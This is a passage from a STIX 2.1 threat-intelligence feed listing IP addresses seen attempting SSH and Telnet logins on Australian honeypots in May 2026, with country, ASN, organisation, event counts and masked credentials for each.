      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--ef41372a-ec76-4156-b409-04d146b768e4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.115.84.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T23:15:10.000Z",
      "valid_until": "2026-06-27T23:15:08.000Z"
    },
    {
      "created": "2026-05-26T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 273979. Organisation(s): LIZARSOAIN GREGORIO LUIS ALBERTO CIBERGOLD WIFI.",
      "id": "indicator--3a3bb255-d994-496b-a281-05c6fdb2acb6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.232.194.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T23:15:10.000Z",
      "valid_until": "2026-06-27T23:15:08.000Z"
    },
    {
      "created": "2026-05-26T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 273979. Organisation(s): LIZARSOAIN GREGORIO LUIS ALBERTO CIBERGOLD WIFI.",
      "id": "indicator--d7b82f0e-2674-4320-97af-e0174ee8e4f2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.232.194.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T23:15:10.000Z",
      "valid_until": "2026-06-27T23:15:08.000Z"
    },
    {
      "created": "2026-05-26T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: IR. ASN(s): 60631. Organisation(s): Vandad Vira Hooman LLC.",
      "id": "indicator--26ddd564-f095-4856-ad9e-bed75283d05f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.239.3.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T23:15:10.000Z",
      "valid_until": "2026-06-27T23:15:08.000Z"
    },
    {
      "created": "2026-05-27T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 265699. Organisation(s): Hidalgo Mario Gabriel TACHICOM REDES&TELECOMUNICACIONES.",
      "id": "indicator--a9ae350a-ec2e-4c9a-b136-ac4dbae1d7bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '162.12.198.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T00:15:11.000Z",
      "valid_until": "2026-06-28T00:15:08.000Z"
    },
    {
      "created": "2026-05-27T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PS. ASN(s): 12975. Organisation(s): Palestine Telecommunications Company (PALTEL).",
      "id": "indicator--632412f3-dbec-420d-9b53-5c7fe4e1b874",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '24.42.108.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T00:15:11.000Z",
      "valid_until": "2026-06-28T00:15:08.000Z"
    },
    {
      "created": "2026-05-27T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: DO. ASN(s): 274324. Organisation(s): AS274324.",
      "id": "indicator--0524eda4-6272-4941-b314-b5b3a313f2bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.78.202.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T00:15:11.000Z",
      "valid_until": "2026-06-28T00:15:08.000Z"
    },
    {
      "created": "2026-05-27T00:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 55933. Organisation(s): Cloudie Limited. Usernames observed (masked): u****u. Passwords observed (masked): f********************@.",
      "id": "indicator--f9dac27d-f8e3-43f4-9ebe-160e2bf63f5e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.116.78.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T00:15:11.000Z",
      "valid_until": "2026-06-28T00:15:08.000Z"
    },
    {
      "created": "2026-05-27T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--bd09f85c-c46b-4b48-9eac-4f6063e24b43",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '59.127.249.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T00:15:11.000Z",
      "valid_until": "2026-06-28T00:15:08.000Z"
    },
    {
      "created": "2026-05-27T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398101. Organisation(s): GoDaddy.com, LLC.",
      "id": "indicator--0bf5c316-2b72-4a86-ab66-947ac583c9f6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '72.47.208.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T00:15:11.000Z",
      "valid_until": "2026-06-28T00:15:08.000Z"
    },
    {
      "created": "2026-05-27T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--84c9387f-1cd0-48f5-b2a0-6ee92df68323",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.46.29.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T01:15:11.000Z",
      "valid_until": "2026-06-28T01:15:08.000Z"
    },
    {
      "created": "2026-05-27T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--a5bc70b8-c195-4d38-a56a-cd32218dffb3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '162.243.167.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T01:15:11.000Z",
      "valid_until": "2026-06-28T01:15:08.000Z"
    },
    {
      "created": "2026-05-27T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PY. ASN(s): 23201. Organisation(s): Telecel S.A..",
      "id": "indicator--3cbbff0d-a727-458a-a0ed-0f0b13906f54",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.126.184.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T01:15:11.000Z",
      "valid_until": "2026-06-28T01:15:08.000Z"
    },
    {
      "created": "2026-05-27T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 42831. Organisation(s): UK Dedicated Servers Limited. Usernames observed (masked): r**t, 3**********4, **, s*****d, u****u. Passwords observed (masked): 1**1, 1****6, 3***********4, 3**********4, A*******..",
      "id": "indicator--6bc326c6-7fb8-43e8-be78-6a7e7e238013",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.143.61.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T01:15:11.000Z",
      "valid_until": "2026-06-28T01:15:08.000Z"
    },
    {
      "created": "2026-05-27T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--efe16ebf-d11d-4866-b9bd-55627777adb5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.202.103.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T01:15:11.000Z",
      "valid_until": "2026-06-28T01:15:08.000Z"
    },
    {
      "created": "2026-05-27T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 18209. Organisation(s): Atria Convergence Technologies Ltd.. Usernames observed (masked): r**t, 3**********4, a****s, l***s, s*****d. Passwords observed (masked): 1**1, 3***********4, 3**********4, A*******., A*******..",
      "id": "indicator--885c2fa3-2cc9-4559-b1f8-07ad447dbe6a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.207.40.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T01:15:11.000Z",
      "valid_until": "2026-06-28T01:15:08.000Z"
    },
    {
      "created": "2026-05-27T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--3e06e14c-2458-416f-972a-fd5aa9309847",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '59.173.120.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T01:15:11.000Z",
      "valid_until": "2026-06-28T01:15:08.000Z"
    },
    {
      "created": "2026-05-27T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--2fb22ffe-9119-4ca0-862e-975cc4d4791d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.228.53.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T01:15:11.000Z",
      "valid_until": "2026-06-28T01:15:08.000Z"
    },
    {
      "created": "2026-05-27T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--4c1054d9-ea86-4d66-9560-96a0c07110e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '98.93.67.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T01:15:11.000Z",
      "valid_until": "2026-06-28T01:15:08.000Z"
    },
    {
      "created": "2026-05-27T02:15:17.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--66d74359-5683-468e-9d1d-edfa6a09123b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T02:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.31.126.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T02:15:17.000Z",
      "valid_until": "2026-06-28T02:15:09.000Z"
    },
    {
      "created": "2026-05-27T02:15:17.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd..",
      "id": "indicator--fa06bd0d-828d-4e09-9ba0-3fa5e67c048f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T02:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '120.48.22.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T02:15:17.000Z",
      "valid_until": "2026-06-28T02:15:09.000Z"
    },
    {
      "created": "2026-05-27T02:15:17.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--35d0f1c4-3a85-4521-9941-3be1c95a2012",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T02:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '134.209.82.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T02:15:17.000Z",
      "valid_until": "2026-06-28T02:15:09.000Z"
    },
    {
      "created": "2026-05-27T02:15:17.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--b8aa72cb-10de-475b-aea9-1e0dc8c99b84",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T02:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '167.172.142.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T02:15:17.000Z",
      "valid_until": "2026-06-28T02:15:09.000Z"
    },
    {
      "created": "2026-05-27T02:15:17.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 404. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, ***, u**r, *****. Passwords observed (masked): 1***5, 1****6, a****3, a***n, *****.",
      "id": "indicator--50853754-e41e-444c-94fe-e4e489cc09c1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T02:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.231.181.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T02:15:17.000Z",
      "valid_until": "2026-06-28T02:15:09.000Z"
    },
    {
      "created": "2026-05-27T02:15:17.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 512. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): a***n, r**t, t**t, s*****t, u**r. Passwords observed (masked): a***n, 1**4, p******d, 1****6, 0*************7.",
      "id": "indicator--c1d3f503-50fb-4026-99c2-fe4d993bbc62",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T02:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.231.198.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T02:15:17.000Z",
      "valid_until": "2026-06-28T02:15:09.000Z"
    },
    {
      "created": "2026-05-27T02:15:17.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ES. ASN(s): 205624. Organisation(s): Telecomunicaciones Publicas Andaluzas S.L..",
      "id": "indicator--5ce9d5ee-5c74-4a0b-8e58-465471fc2188",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T02:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.196.66.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T02:15:17.000Z",
      "valid_until": "2026-06-28T02:15:09.000Z"
    },
    {
      "created": "2026-05-27T02:15:17.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3800. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t, a***n, d****y, u****u, u**r. Passwords observed (masked): 1****6, *, ***, 1**4, p******d.",
      "id": "indicator--2dbe6464-b4af-44a6-a0d1-0a7a3bb84813",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T02:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.153.34.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T02:15:17.000Z",
      "valid_until": "2026-06-28T02:15:09.000Z"
    },
    {
      "created": "2026-05-27T02:15:17.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MY. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--0906a7d3-5cb7-468a-82ff-118e42750f8e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T02:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.250.43.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T02:15:17.000Z",
      "valid_until": "2026-06-28T02:15:09.000Z"
    },
    {
      "created": "2026-05-27T02:15:17.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 62068. Organisation(s): SpectraIP B.V..",
      "id": "indicator--2d979ee1-0d7a-40eb-a880-61e9b563a115",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T02:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.182.208.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T02:15:17.000Z",
      "valid_until": "2026-06-28T02:15:09.000Z"
    },
    {
      "created": "2026-05-27T02:15:17.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--ea62c971-51a3-4045-8f4d-e39a8aaf5b12",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T02:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T02:15:17.000Z",
      "valid_until": "2026-06-28T02:15:09.000Z"
    },
    {
      "created": "2026-05-27T02:15:17.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--bc2688e9-d246-4a70-9ee5-c4e5f20ff156",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T02:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T02:15:17.000Z",
      "valid_until": "2026-06-28T02:15:09.000Z"
    },
    {
      "created": "2026-05-27T02:15:17.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: IL. ASN(s): 6810. Organisation(s): Bezeq- THE ISRAEL TELECOMMUNICATION CORP. LTD..",
      "id": "indicator--f370edbe-f178-469b-a5fa-fe0b187d8be3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T02:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '79.177.141.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T02:15:17.000Z",
      "valid_until": "2026-06-28T02:15:09.000Z"
    },
    {
      "created": "2026-05-27T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 135222. Organisation(s): MilesWeb Internet Services Pvt Ltd.",
      "id": "indicator--6b5211d0-87c2-45ce-92f8-2dcb517e63ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.86.177.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T03:15:11.000Z",
      "valid_until": "2026-06-28T03:15:08.000Z"
    },
    {
      "created": "2026-05-27T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): U****************************1, G**************************************************1, G**********************************1. Passwords observed (masked): C***************e, H**********************3.",
      "id": "indicator--219000ed-d519-4307-ad90-fbe00ca32641",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.248.22.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T03:15:11.000Z",
      "valid_until": "2026-06-28T03:15:08.000Z"
    },
    {
      "created": "2026-05-27T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 45899. Organisation(s): VNPT Corp.",
      "id": "indicator--716ba61c-ebe2-4184-b261-f520f355b1ec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.224.204.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T03:15:11.000Z",
      "valid_until": "2026-06-28T03:15:08.000Z"
    },
    {
      "created": "2026-05-27T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--ccb7c101-3b06-4a57-bfaa-1179bbeef28a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '142.93.105.218']",
      "pattern_type": "stix",
